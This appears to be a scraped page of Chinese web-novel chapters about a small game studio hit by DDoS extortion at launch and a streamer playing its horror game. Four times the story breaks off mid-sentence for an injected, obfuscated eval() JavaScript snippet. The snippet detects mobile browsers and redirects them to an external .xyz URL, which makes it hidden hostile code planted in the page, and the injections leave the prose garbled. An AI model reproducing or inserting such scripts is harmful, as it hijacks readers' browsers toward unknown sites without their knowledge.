要知道,这可是游戏的黄金时期。能不能留下用户,全靠这段时间的游戏内容能不能打动玩家。假如游戏质量合格,玩家的好评就是吸引后续用户的天然广告,顺利的话,从新玩家涌入,到留下好评这个过程会形成良性循环,游戏上架后的良好运营也就由此开启。 这个过程,对小型游戏厂商又尤其重要。他们毕竟没有大厂那么多资金去做宣发,前期往往就是靠平台内推,在基础信息流上就远差了大型厂商几百倍不止,要是还因为炸服导致玩家大量流失,那后续这个游戏真的可能无声无息的死掉。 千万别以为玩家会等你。第一次炸服,超过一半的人就会离开,假如后续不能及时解决,那剩下的玩家骂骂咧咧几句后,也会很快把兴趣转移到别的游戏上。 更可笑的是,这个能给游戏带来致命打击、造成几十万甚至上百万流水的亏损的举动,黑客组织勒索的金额,却往往是微不足道的几万块。 这种无妄之灾,在行业内,被戏称为游戏上线时的“保护费”。 至于为什么他们不攻击那些有名的、大型的游戏厂商,原因倒也简单:人家有钱,有人,惹不起。 提起这个后,弹幕上顿时风向一转,有问怎么回事的,有嘲笑说不至于的,但更多资深游戏玩家们打出的字是:不要吧,这游戏这么倒霉? 真就有这么倒霉。 余缺接到电话的时候正在商场的试衣间里。今天值班的员工是个五大三粗的大块头汉子,在那边差点急出嘤嘤叫。然而他越急,话越说不清楚,吭哧几句,感觉真要哭出来了。 “你急也没用,慢慢说。” 要接电话,余缺拉开帘子走了出来。旁边的店员正想询问是否需要帮助,就见一直站在旁边等候的男人先一步上前,像是做了无数次一样,熟稔地为他系上衬衣上方最后两粒扣子。 而这位试衣服的客人,也像是被这人伺候惯了,自然地展开手臂,由他帮忙穿上外面的西装外套。 有罗摩在,今天余缺难得地将长发束成高马尾,戴上了银质的镂空锁扣。倘若在修真界,这个饰品该搭配鸦青色锦袍和墨色大氅,但现在在蓝星,它混搭上了黑色西装。 西装的版型不错,罗摩冷白的指尖顺着衣料描摹本体的后腰,尺寸也刚好,穿在身上后,有种疏离的、高高在上的冷漠和禁欲之感。这让他眼里流露出满意,顺手从旁边挑出一根色系和谐的领带,余缺自觉地抬高下颌。 领带穿行在衣领下,通话时,光洁的脖颈上喉结随着气流滑动。罗摩唇线微弯,表情愉悦,领带打好后,眼神掠过本体毫无防备的脸,又略微往下。 余缺眼神当即扫过来,手里还握着手机:“我知道了,你先挂紧急通知,游戏停服维护,我大概二十分钟到公司。” 两人视线纠缠了一瞬,什么话也没说。余缺挂了电话,转身走向收银台付款:“试衣间的衣服不要了,麻烦处理一下。”时间紧迫,便不拘细节了。 付款后,收银台的店员眼见着两人一前一后走出店门,落后一步的罗摩像是把人惹到了一样,亦步亦趋地跟着,像是着急哄人,又像是有恃无恐,既矛盾又和谐。她口中不由地“啧啧”了两声:“小情侣,不得了,穿个衣服竟然还能怄气。” 另一个围观全程的店员也凑过来,满脸的姨母笑:“你看见刚刚那人的眼神没,哇简直了……” 快步出门的两人随手拦下计程车,一起坐上后座。 余缺一边 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|11054114|116327||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 和值班的那名员工交流,一边用手机查看这次游戏炸服事件的真正原因——是有人对他们的服务器进行了DDOS攻击。 DDOS攻击方式分很多种,但从作用的效果来看,可以大致理解为:是用大量的流量攻击游戏服务器,让其在线服务无法正常运营,真正的游戏玩家无法登录,也就形成了所谓的“炸服”。 就在余缺询问员工详细细节的时候,他的社交账号弹出了陌生好友的添加信息。 【NCAI:正在对游戏服务器进行DDOS攻击,服务器29.11.76XX已瘫痪,解除攻击请与我联系】 罗摩坐在身边,单手搭在他的肩头,视线扫过屏幕上的文字,略挑了下眉:“来了。”所谓的勒索环节。余缺手指轻点,按下了同意按钮,那边立即弹出新的消息。 【NCAI:已暂时解除对该服务器的攻击,限时30分钟。】 【NCAI:将5万元汇入账户49523……超过9点前账户未入款,我们将重新灌入流量并扩大攻击范围,之后贵公司所有游戏发行,都将被列入重点攻击行列。】 【NCAI:今天游戏首发,你也不想耽误玩家们太多时间吧?】 余缺:…… 罗摩笑得身体颤抖,被本体毫不客气地推了一下:“重死了,过去点。” 飘在身侧的金色光团不明白人类奇怪的笑点,尽职尽责地进行询问:“是否需要检索及追踪对方的正确IP地址?” 余缺:“先查一下这个所谓的NCAI。” 这个黑客组织和其它的一样,会在不少小型游戏厂商上架游戏时进行攻击和勒索。不过和别的只盯小型厂商的组织不同,他们最知名的事迹,是成功勒索了美国知名游戏厂商“星火”,且在对方回防狙击时没留下任何把柄,完美脱身。 而且,相比其它的黑客组织,他们对小型游戏厂商的态度,还有点“广撒网”的意思。别人还会看游戏热度,假如首发时平台的热度排名不佳,便会认为没有油水可捞,直接略过。NCAI则是雁过拔毛,外界都有点搞不懂他们,难道DDOS攻击不费时间,不费钱吗? 这个组织的相关信息很多,余缺挑重点的一条条看下去,中途收到了已经冷静下来的员工消息:“余总,你交赎金了?别交啊,交了也可能只是暂时有用,而且交这么快,别的黑客组织会盯上我们的!” 柿子挑软的捏。 在之前的那些黑客攻击勒索事件中,不是没有游戏方想着“给钱算了”,毕竟游戏开发已经投入了那么多,不差这一星半点。但破财也不一定能消灾,他们暂时的偃息旗鼓并不能保证后续不卷土重来,口头上的保证算什么保证?而且交钱的速度过快,也的确可能吸引其它团伙“慕名而来”。 赎金的确只是很少一部分,但不断地被攻击,会让游戏直接玩完。 18.文学城独发 余缺给员工发去了否认的消息。 也不怪对方会认为他交出了这份“保护费”,NCAI之前的每次勒索事件中,从没有哪一次,会在未收款前提前结束一轮攻击。正常来说,这种时候一直持续不断施加压力,更能逼迫游戏方妥协。 现在他们先给了30分钟的时间,像是提前退了一步,看起来“仁慈”得有些奇怪。余缺不懂他们的逻辑,当然,他也并不在乎其中的逻辑,最重要的是怎么解决这事。 《绝密档案》和大多数的小型游戏团队一样,由于资金大半都用在了游戏开发上,服务器的防护并不算强,但其实也并不算差,属于中规中矩。在面对大流量的DDOS攻击时,服务器明显有些缺乏招架能力。 现在已经挂出了紧急的停服维护,但为了不让玩家们流失过快,这个维护的时间能压缩多少是多少。 二十分钟不到,计程车在办公楼的楼下停下。 值班的员工焦头烂额地坐在电脑前,听见门被推开后的脚步声,像是一瞬间找到了主心骨:“余总!” 余缺对他略点了下头:“辛苦了,继续正常工作就行,事情能解决,不用担心。” 怎么可能不担心。 游戏刚上线就遇见这种事,现在公司群里的消息都炸了,几个员工已经在打车往公司赶,其余帮不上忙的,也在群里叽叽喳喳地讨论对策。 陆含昭刚毕业,没多少行业经验,第一次知道还有专门针对小型游戏公司的黑客组织,搜相关新闻都搜出了一肚子气。数值小哥则迷信“余总全能”,认为有余缺在,这事铁定能够解决。苏雾觉得他脑子瓦特了,游戏制作人的全能,和黑客的全能是两个概念好吗?她麻利地去搜索相关事件的处理办法,最后还真搜到了。 答案是靠大厂。 他们没有的技术和资源,大厂有,不仅有,也对外售卖。说白了,是花钱就能解决的事。 但一开始不和大厂合作,是他们不想吗?是公司的资金不够啊,捉襟见肘的,连宣发都只是在平台上进行内推。 试着打电话去询问了一下价格后,苏雾:谁家好人卖这么贵:D 悬着的心彻底死了。 其实余缺已经想过这个问题,以团队现在的能力,即使在服务器上增加防御系统、防护手段,效果始终还是比不过大厂的,再加上已经被黑客组织盯上了,那再次开服,还是可能出现网络波动,影响玩家体验,这让和大厂的合作显得更加必不可少。 但现在手里资金不够,寻求技术合作只能延后,最佳的方案,也是余缺直接定下的方案,其实是反过来瞄准这个黑客组织——只要让对方没有能力来对付他们,一切不就迎刃而解? 至于后面会不会再被别的黑客组织盯上,他只能暂时严格监控,继续反攻,把人一个个送进局子里呆着,总不会还能用水泥墙联网吧? 没错,余缺已经联系上网警,并且开始在2247的帮助下进行反攻了。 在员工看不见的画面里,他身边悬浮着无数的金色光屏,一个金色光团发出平板又略显怪异的声音:“已定位到对方IP地址,正在进行信息收集及具体位置分析……” 与此同时,手机上的消息也在叮叮作响,余缺将其放在一边,坐在电脑上和网警同步消息。罗摩像是一道影子一样呆在他的身边,手指时不时在光屏上滑动,进行信息筛选。 手机上的消息越来越密了,屏幕几乎没有熄灭过,同之前嚣张的态度不同,现在NCAI发来的信息,是一连串带着恐慌的质问。 【NCAI:你是谁!!】 【NCAI:停下!】 【NCAI:说话啊,你是谁!】 【NCAI:你也是黑客?】 【NCAI:这是怎么做到的?!】 …… 根本没有被植入什么病毒或者木马,甚至连一条回复的消息都没有,之前那么多人想要抓他们,哪个不是通过聊天拉长时间来试图定位被篡改后的IP?但现在呢,对方的入侵就宛如吃饭喝水一样简单,就像是——所有涉及网络的部分,都在无条件向对方开放缺口。 【NCAI:为了降低对你游戏的影响,我们的攻击可是只持续了十几分钟就停下了!】 【NCAI:做人留一线。】 这话实在让人觉得好笑,罗摩伸手把手机拿过来,打字。 【余缺:岂不是还要我感谢你?】 【NCAI:这只是上线前的一项压力测试,任何游戏都该做】 【余缺:?】 罗摩随手将手机扣在了台面上,那边的消息更加频繁起来。 【NCAI:现在市面上的垃圾游戏这么多,我们只是在提前一步筛选!】 通过他们电脑里的资料,余缺得知了不少信息。 这个黑客组织确实和市面上其它的组织不太一样。他们并不是只盲目追求利益,而是把自己当成了某种“规则”。就像他们说的那样,这种攻击的行为,在他们眼里是种“筛选”。 NCAI的首领给自己取的代号都很狂妄——“天罚”,其余成员风格也大多一致。通过种种痕迹可以看出,他们看不惯现在游戏行业青黄不接的现状,认为市面上的超过百分之九十九的都是垃圾游戏,认为游戏行业就是有这些毒瘤,才一直止步不前。也因此自认为有必要对游戏进行清洗。 在他们组织内部,还有一套自成一派的评分方式,只要游戏的综合评分未达到8分,同时又不是低到1、2分那种上线即死的程度,就会被列为攻击目标——余缺的《绝密档案》,在他们这评分刚好是7.9。 或许是甩了其它游戏一截,他们因此才“大发慈悲”,想给余缺一个机会。 可笑的机会。 这样的勒索行为,竟被包装的好像多么正义一样。 看到这里,余缺算是对他们完全失去了兴致。感觉就像是误入了某个邪恶教会的总部,整体的思想中二又幼稚,偏偏还形成了逻辑闭环。 虽然近两年华夏业内优秀的游戏的确很少,但余缺不觉得那些所谓的垃圾游戏就多么十恶不赦。再烂、再值得吐槽,那也该由玩家们决定游戏能存活多久。 更何况,甲之□□乙之蜜糖,有人觉得这个游戏的玩法拉胯,也会有人觉得这个玩法有意思。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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余缺:“我朋友帮忙定位了这个黑客组织的位置,现在人已经被警方抓住了。” 后续的消息警方那边会进行同步,现在显而易见的是,没有黑客攻击,游戏可以重新开服了。 大家还来不及消化整个消息,又听见余缺要商量玩家补偿的事。 对于他们《绝密档案》的游戏方来说,这是场无妄之灾,但对于玩家来说也是一样。兴高采烈下载游戏,玩到一半,毫无预兆的情况下被迫下线,换作谁会高兴?玩家们此时心里肯定是有怨气的,而游戏方当然也得承担责任。那么补偿一些道具,就必不可少。 余缺不是吝啬的人,虽然说现在才刚上线,钱都还没挣到,补偿游戏道具肯定会折损后面的流水,但这是游戏方的诚意,他不能随便拿三瓜俩枣去打法玩家——显得太不尊重了。 但问题是,他们是恐怖向游戏,氪金部分是五花八门的道具,在各种关卡上作用效果也不一样。假设统一给一种道具的话,恐怕会破坏游戏体验:毕竟玩家们总会优先使用背包里的东西,收到补偿后,他们势必连续使用,这样就少了很多趣味性。 大家打了通群视频商量,最后给出的结果是:十次道具抽取机会。 虽然《绝密档案》没有十连抽的概念,都是单抽,但这种方式在其它有抽卡的游戏中相对能被玩家所接受,同时也尽量保全了趣味性。余缺又追加了三次在游戏商店0元购买道具的机会,一切敲定,全线核对均无异常后,游戏挂上了“更新完成”的提示。 19.文学城独发 主播“如影随形”在吃炸鸡。毫无吃相,啃得满脸碎渣,偶尔也抬头回答一下弹幕上的问题。 因为《绝密档案》突然的停服维护,他直播屏幕上只有自己的身影。按理说不玩游戏,观众们应该会很快流失才对,但现在直播间仍旧维持着很高的热度。弹幕都在讨论这种黑客组织做过什么事迹,也有突然玩不了游戏,大肆吐槽后,辗转找到直播间的——由于热度窜太快,直播平台已经自动将其推到了热门的尾巴。 “要等多久?我也不知道,等官方通知吧。” 随口回答了一句提问,“如影随形”拿起旁边的肥宅快乐水猛灌一口,汽水的噼里啪啦炸响,配合炸鸡,勉强抚慰了他玩不成游戏的失落。 正想再和观众们聊点什么,弹幕上猛地出现一波:“开服了开服了,快冲!!!” “如影随形”赶紧麻利地点开游戏,果然,上面挂出了停服维护结束的公告。这次进去需要重新登录一下,但还好,他的档没坏,进去后先从邮件领了维护补偿,接着也不待细看,立马从入口进去,回到了游戏剧情之中。 再次直面这个宛如巨型蜘蛛,又像是由无数人类肢体组成的畸形怪物,“如影随形”以为自己会冷静很多。 但当怪物缓慢地走到身前,所有附肢如同捕食一样张开,碳化的表皮偶尔掉下碎渣,露出里面如同内脏一样、毛细血管攀爬在血肉上的质感,那种视觉上的冲击,还是让他下意识地想要加快手上点击的速度。 怪物缓缓靠近后,并未立刻下口啃食,而是侧歪着脑袋,做出嗅闻的动作。身上碳化的表皮随着动作发出细微的摩擦和断裂声,明明看不见任何的表情,但你能感觉到,随着嗅闻,怪物越来越兴奋,身后的附肢愈渐蓄势待发,眼看要直接对准猎物穿刺过去。 【您的SAN值已归零】 “如影随形”猛敲了下键盘:“我操啊不是吧?这是必死还是怎么的,我完全操控不了啊!”商店的道具能买,但是不能用,因为主角被boss触碰到后,身体就完全僵硬了,连手指都动不了一根,他一直点那个“试图挣脱”无济于事。 弹幕提醒他,或许是在看见boss的第一眼就该使用道具。“如影随形”又是叹气又是懊恼,也觉得是自己手慢了,看来只能回档。 但就在他准备点击回档的时候,突然发现抽取道具的按钮还能用,官方设定的又是“默认即抽即用”。再加上这次停服维护后,官方送了十次抽取机会,这不试试好像都有点亏。 心里这么想着,手下就直接点击了抽取。 【系统:恭喜玩家“小辉”抽取到稀有道具“降魔杵”,已默认使用】 “我去,稀有道具!我手好红啊!” 商店的道具只有普通和稀有两种,稀有的买一次即下架,价格还相对较贵。“如影随形”正咧着嘴傻乐,就看见屏幕上亮起道具的金光,接着怪物开始尖嚎,几根附肢宛如人手一样捂着脑袋,其余则疯狂四处攻击,房间震动起来,女主也被一根焦黑的附肢穿胸而过。 界面模糊,弹出了血红的文字。 【您已死亡】 刚刚还兴高采烈地“如影随形”:…… 见界面上系统询问是自动回档到使用道具的前一刻,还是自行选择回档节点,他不服气,点了自动。 【系统:恭喜玩家“小辉”抽取到稀有道具“清心咒”,已默认使用】 【您已死亡】 【系统:恭喜玩家“小辉”抽取到普通道具“香烛”,已默认使用】 【您已死亡】 …… “我真傻,真的。” 对着摄像头,“如影随形”面上露出生无可恋的表情:“我还以为这个官方是有良心的,毕竟停服维护后给奖励给得痛快,抽道具的爆率比起别家十抽出一金,他们稀有道具的爆率反而更高。” “但是,道具稀有或不稀有,都完全不耽误我死。” 他之前完全没感觉这个抽道具的行为是个大坑,刚开服自动送的那一次,他抽中的道具中规中矩,没什么感觉。然而这次连续抽,连续死。 佛了。 他随手点下最后一次抽取。 【系统:恭喜玩家“小辉”抽取到稀有道具“情蛊”,已默认使用】 黑色纹身渐渐在手臂上浮现,正蓄势待发的怪物突然停了下来,像是确认一般,头颅一点点低垂,做出嗅闻她手臂的动作。接着,所有的攻击姿态缓缓收敛,其中一只黑色附肢在那处刺青上点了一下。 细小又鲜红的血珠冒了出来,但怪物没有低头啃食,而是回到了之前那具尸体旁。 咀嚼声再次响起。 【提示:您已被怪物标记】 【系统:恭喜获得隐藏称号“伥鬼”,快去帮忙寻觅食物吧,不然被吃的可能就是你了哦】 原本丝毫无法动弹的身体再度回归控制,眼中的那股黑气也缓缓褪去。她摩挲了一下手臂上浮现出的刺青,那处血点被抹出了一道长长的血痕。就在刚刚,她能感觉到,她和面前这个怪物产生了一种模糊的、无法形容的连接。 紧接着,她就被放过了。 “如影随形”完全没想过这个发展,“情蛊”这个道具在商店是没有售卖的,也就是说,这次还真的是他手红,突然就逆转形式了。现在怪物在旁边继续啃那具尸体,危机解除,作为玩家的探险心再次占据上风,也不管怪物还在旁边,会不会激怒对方,直接在房间里开始搜证。 此时他已经在心中有了猜想:虽然游戏中没有子蛊和母蛊的概念,但在华夏的相关传说中,一直是有这个区分的,二者往往相互依存,也往往是制约中蛊之人的方式。 现在抽到了“情蛊”的道具,怪物就不攻击女主了,并且女主能感觉到和怪物有种连接感,那很明显,他可以认为,母蛊就在这个怪物身上,而子蛊,则在死者身上。 眼前畸形又扭曲的怪物,唯一的可能就是死者的母亲。 因为情蛊,这位母亲在女主身上感觉到了和女儿一样的连接,虽然确定女主并不是她的女儿,但还是压下了食欲,转而将女主标记为“伥鬼”,也算是划分到了自己的阵营。 心里这么想着,接下来的搜证环节更加仔细了些。 房间里到处都是那种类似人体组织一样的东西,为了避免激怒怪物,“如影随形”控制着女主尽量小心躲开。地上的血液和碎肉太多,走路都像是踩在烂泥里一样,好不容易探索到相对“干净”的一间狭小的房间。 里面供奉着面目邪恶的神像,供桌上的香火早已断绝,取而代之的,是死者奶奶满头银发的头颅。 看来是早就被吃掉了。 “如影随形”随口道:“咱们这boss还挺挑食啊,不吃脑壳。”之前路上也遇见了好几个。 弹幕:神TM挑食,影哥你绝了[大拇指] 他大笑:“你们就说是不是吧?” 弹幕:啊是是是 正插科打诨,就在房间角落翻出一本记载着蛊术的本子——假如说之前还觉得死者奶奶的蛊师身份仅限猜测,现在就完全证实了。 通过里面尝试改进“情蛊”的手稿和相关记录,不难发现,这位老人知道儿子出轨对不起前妻,但人死后,孙女要恨儿子,她同样很难接受。更何况,孙女恨儿子的方式是完全不认这个爸,甚至不惜糟践自己,她便想着用情蛊纠正一切。 但中间频频出错。 首先是培育情 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|11081463|116327||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 蛊的环节,之前不论怎么顺利,一放到孙女身上就会失败。她来回改进情蛊,一直不能成功,以为是材料不够好,后面心一横,干脆把已经入土为安、在大火中丧生的女人尸体偷偷挖了回来。 可这一挖,死者的母亲成了怨鬼,在两人交锋时,老人看到她死亡时的记忆——原来那天,她儿子的确是和情人约会去了,但回家的时刻并不算晚。 明明来得及,他却选择了袖手旁观,让人被活活烧死。 因为这个原因,在死者母亲身上培育的情蛊也在不断失败。后面又是不断地修改,终于到了最后一版,这位老人想到了办法——让死者回来看到母亲的尸体,以此激起双方强烈的思念和爱。 这一次,她成功了。 虽然过程麻烦了些,死者的母亲还要作为情蛊的载体一直存在,但这位老人坚信,一切都会好的,他们一家会再次变得幸福。 可死者清醒了过来,作为载体的死者母亲,也在女儿死亡后,彻底异变成了不受控制的怪物。 案件进展到这一步,无论是玩家还是剧情中的女主,心里都不太好受。解决鬼魂的方法依旧没有记录和参考,但他们不约而同地,想到了要把死者送回到这里、送到这个如同怪物一样的母亲身边。 生前不得善终,至少,死后让她们团圆。 镜头前的“如影随形”叹着气:“还好之前我没走火化流程,不然送骨灰不知道能不能算完成任务。”他操控主角来回跑了一趟,从冷库里把尸体接出来。中途和上司解释过,因此一路都大开方便之门,又因为不想让上司上楼,万一遇见boss就无了,他操控主角背上死者的尸体,亲自一步步背到了目的地。 这一步骤果然没错,在见到女儿的尸体后,游戏进入了过场动画:狰狞诡异的怪物张开附肢,却又轻柔的、小心翼翼地把女儿抱在怀里。她嘴里发出尖利又诡异的奇怪曲调,接着用无数附肢将女儿的身体层层包裹,将鼓胀的腹腔划开,就这样,整颗的“茧”被放了进去。 因为女主和她的链接,她听到了对方传达的信息:很饿。 想把女儿再一次孕育出来,需要更多的养料。 在食物不充足的情况下,不论是为了生存,还是其它什么,“伥鬼”都该满足这个要求。 【你:打电话给白先生(点击此选项)】【鼠标点击】 想骗食物自己前来,无非两个途径,一个威逼,一个利诱。在电话里先是告知老人要不行了,接着又说,老人好像一直不咽气,就是想等着人来,解决那个所谓的怨鬼。 一直处于惊恐状态下的白先生到底是来了。 看着游戏画面中怪物啃食他的身体,新的血液再次滴落在地板上,“如影随形”开心的哼歌:“一家人嘛,当然是要整整齐齐咯。” 喂食后,再次进入自由活动时间,“如影随形”发现,他可以继续吸引npc过来喂食怪物,也可以把这事告知上司。考虑到之前案件里就提过的“特殊事件调查组”,他选了第二种。 上报了高层后,很快来了一大帮荷qiang实弹的警员将现场进行封锁。本以为可能要上演什么“物理驱鬼”,没想到的是,上面竟然封锁了消息,看起来是要饲养这个怪物。 毕竟威胁性很强,女主有些担心:“这合适吗?” 上司对她摇头:“之前记录中,每次都是想办法杀死这些东西,但这次竟然是饲养,说实话我也很惊讶。所以我在想,可能是出了什么事……” 就好像,有什么未知的东西,在逼得他们不得不用这种过于危险的方式,来守护背后的人民。 两人的谈话声以细碎的背景音持续着,画面再次泛起涟漪,界面上显示出白色字体:《情蛊》封档。 20.文学城独发 《绝密档案》第一个案子正式宣告结束,主播“如影随形”没有立即开始下一个,而是将游戏的暂且留在登录的默认界面,另外打开平台“gamer”查看这个游戏的评价——这个时间段大家应该陆陆续续打通了第一个案件了。 他往下翻阅,果不其然,自己通关的方式并不是官方设定的大众化结局。也对,要是只能靠道具“情蛊”才能打通,那官方肯定会被骂得狗血淋头,毕竟《绝密档案》的唯一卡池并不能付费抽道具,只是当日常福利作为赠送。要是必须抽出这个道具才行,玩家们肯定会噼里啪啦全写差评。 通过这些玩家的评价,不难发觉,这次案件的最终boss要解决其实并不困难。只要玩家在角色未被控制的时候拿出道具,或者提前把道具握在手中,就不会触发死亡结局,而是获得逃离时间。 这个道具,也不是商店里需要购买的任何一个,而是之前在死者的档案袋中拿到的,那个录下了死者母亲哼唱的《摇篮曲》的玩偶。 只要玩偶上的哼唱声被触发,boss就会把注意力放在玩偶上,整段曲调的时间中,都不会攻击玩家。玩家可以在这个时间段进房间搜证,得到全部信息,也可以直接逃亡。 二者不同的是,完成搜证,才能触发将死者送回母亲身边的选项,被安抚下来的boss,才会被军方接手。否则直接逃亡,通知上级,军方到来后,会直接进行玄学法术和军火压制双重驱鬼。 两个主角存活的结局,一个是boss被饲养,一个是boss被消灭,都会算通关成功、封档。 只有“如影随形”因为抽到了情蛊,因此获得了“伥鬼”的头衔,而他这个版本的结局里,封档之后,在游戏登录的默认界面,主角手臂上的刺青也没有消失。 他返回去观察了一下,界面上主角的待机动作中,还会偶尔看一下那个刺青,并且皱眉,头上浮现出气泡文字:有时是“她好像又饿了”,有时是“她好像在呼唤我”。 也就是说,第一起案子结束了,但是boss和女主之间的连接并未消失。“如影随形”敏锐地觉得——因为这个连接,女主后面一定有机会得到这个boss的庇佑。那女主需要boss庇佑的那天,会是和现在一样的案件,还是上司口中那个未知的威胁? 另外,既然这个结局中,军方的火力压制能配合玄学术法驱鬼,也就是说,所谓的“物理驱鬼”是有效的,那什么样的威胁,才会逼得军方主动饲养boss? “我天,起鸡皮疙瘩了,游戏制作组在下好大一盘棋……” 此时直播摄像头都没关,但“如影随形”完全忽略了这件事,他本以为《绝密档案》就是普普通通的探案+遇鬼的流程,但是目前游戏给出的信息很多,鬼物的设定,蛊虫的连接,上司口中未知的威胁。明明第一个案子已经完结,但后续对未知的恐惧和兴奋又再度提升。 不行,不能只有我一个人知道这些。想到这里,他也在平台“gamer”上噼里啪啦地开始留评。 而他的长评一发,很快引起了一连串的连锁反应。 稀有的头衔,boss和女主的连接,甚至后续可能作为女主的金手指。这简直是超规格待遇!那可是随便就能秒杀一片,在普通结局中需要军方和相关大佬合力才能杀死的boss,竟然可能作为女主,也就是玩家的后盾,换谁谁不羡慕? 本来,对于抽道具很坑这件事,几乎已经是所有玩家的共识。特别是这次维护补偿后,因为送的次数多,谁都忍不住去抽,但结果就像是在给演示“错误使用道具的结果”,各种花式死亡。讲真,谁不是在感慨一句官方大方后,接着骂两句抽道具坑爹的。 现在你说可能因为抽出特殊道具,得到稀有的结局? 游戏制作组,我们也想要!!! 虽然也有玩家相对理性,分析说这并不一定就是好事。因为头衔是“伥鬼”,意味着女主其实是受boss控制,不是反过来控制boss。 而且从现在游戏给出的信息量看,假设那个未知的威胁确实很强大,但军方的做法真的是正确的吗?后续被饲养得更加强大的boss,可能会帮助他们,但同样可能挣脱控制。而且既然能饲养这一个,就能饲养更多,大家怎么知道军方饲养的有多少?万一全线反噬,到时候就是前有狼后有虎。 但玩家们即使看到了这些分析,还是会忍不住想要——毕竟稀有的头衔,还有和boss的连接,实在是独一份啊。 “如影随形”就宛如蝴蝶振翅,不经意地,卷起了一场小型风暴。 此时他也完全遗忘了之前“最后一次直播”的念头,而是在观众们疑惑中码完评论,接着沐浴在一片“影哥牛逼,影哥欧皇实锤”的弹幕中。作为被羡慕的那个,他实在是爽到爆! 很快,短短几天时间,“如影随形”就成了游戏里“欧皇”代表,粉丝数一路疯长。这不仅给他本人带去了巨大的曝光量,也带来了一系列的连锁反应:平台方发现他热度攀升速度极快,怕竞争对手挖角,主动联系他续签并提高待遇,而双方能敲定下来,其中一个重要条件是:会在平台的首页给他放上推荐窗口。 虽然还有一堆附加条件,以及后续热度不达标如何如何,但这依旧让作为主播的“如影随形”本人极大提高了曝光,同时,这也为《绝密档案》提供了引流。 再加上平台“gamer”对游戏的不断推送,《绝密档案》直接在恐怖类型的分频排行榜高歌猛进,窜到了前三的位置,游戏下载量更是一路飙升,没用太久时间便达成了百万下载量! 要知道,这可是恐怖类型的游戏,不是相对大众的moba或者mmo,下载量能飙升到这么高,已经远远超过了整体员工的预期。 这几天陆含昭上下班都是飘着的,感觉脚底像踩着云,画画的时候,甚至不自觉地给《绝密档案》女主“摸”了几套衣服的出来,就像是给自家争气的孩子多备点东西一样,非常上瘾。 其它人同样是喜气洋洋,整个办公室都蔓延着一种近似“过年”的氛围。 随着热度攀升,玩家们对游戏的建议和需求也收集了一箩筐。那些偶尔发现的bug暂且不提,“如影随形”这个欧皇一方面让大家羡慕,一方面也着实让大家痛恨。很多玩家都强烈要求官 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|11085215|116327||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 方开放氪金抽道具渠道,他们也想要稀有头衔。有些怨气大的,甚至开始骂官方有钱都不知道怎么挣,还要玩家来教。 余缺没料到这个发展。《绝密档案》内置的头衔其实并不多,他原本是想将其当做一个彩蛋,增加游戏的趣味性。不开放氪金抽道具,也纯粹是不想玩家们依赖这个渠道,反而忽略了对游戏道具是否适配的判断力。 现在大家嚷嚷着都想要,他不想让玩家们失望,可又觉得,这会不会干扰到正常的游玩思路? “其实我觉得余总你想太多了,”苏雾猛喝了一大口热奶茶,不觉得这事严重:“卡池是抽道具,且即抽即用,玩家们熟悉流程后自然就会清楚这点。那愿意花钱去收集这种头衔的就会花钱,不愿意的,肯定还是优先商城。实在不行,我们调一下掉率,多少抽必出就行。” 年纪大点的程序喝着保温杯里枸杞菊花茶,吹了口上面的热气,附和点头:“我们的道具定价很低了,别人游戏动辄就是充个648,我们道具按个卖,一个几块钱,而且流程中还能收集道具,够聪明的玩家,一个案子下来也就氪个十几块,买断制这个流程都至少三四十。” “我也觉得可以满足玩家要求,”数值小哥不仅持相同意见,还提到了一个关键问题:“一直把这个头衔弄得过于稀有不是好事,我们游戏现在热度上来了,假如不改这点,肯定会吸引到很多工作室刷号。他们可没什么良心,刷到有头衔的账号估计能炒出天价来,这钱给他们挣,不如就像苏雾说的,我们调一下爆率,让玩家自己抽。” 这倒是事实,工作室刷号,甚至用外挂刷也不是什么稀罕事。到时候假如玩家花钱买到了“科技号”,又因为账号异常被封,又是一大笔损失。 “那就改。”余缺没在这事上纠结太久,既然玩家们想要,团队的员工们也觉得不是不能改,那作为游戏制作人,合理地听取意见是应该的。 又商量了一番单抽道具的价格,以及保底的掉率后,余缺注意到了陆含昭给游戏女主画的衣服。有可爱的睡衣,还有日常外出的常服,严谨的制服等等。他翻了翻,觉得有趣:“后面把这个也放上去吧,不卖,让玩家们自己收集,有兴趣的可以给女主换衣服穿。” 恭喜陆含昭,摸鱼摸出了新工作! 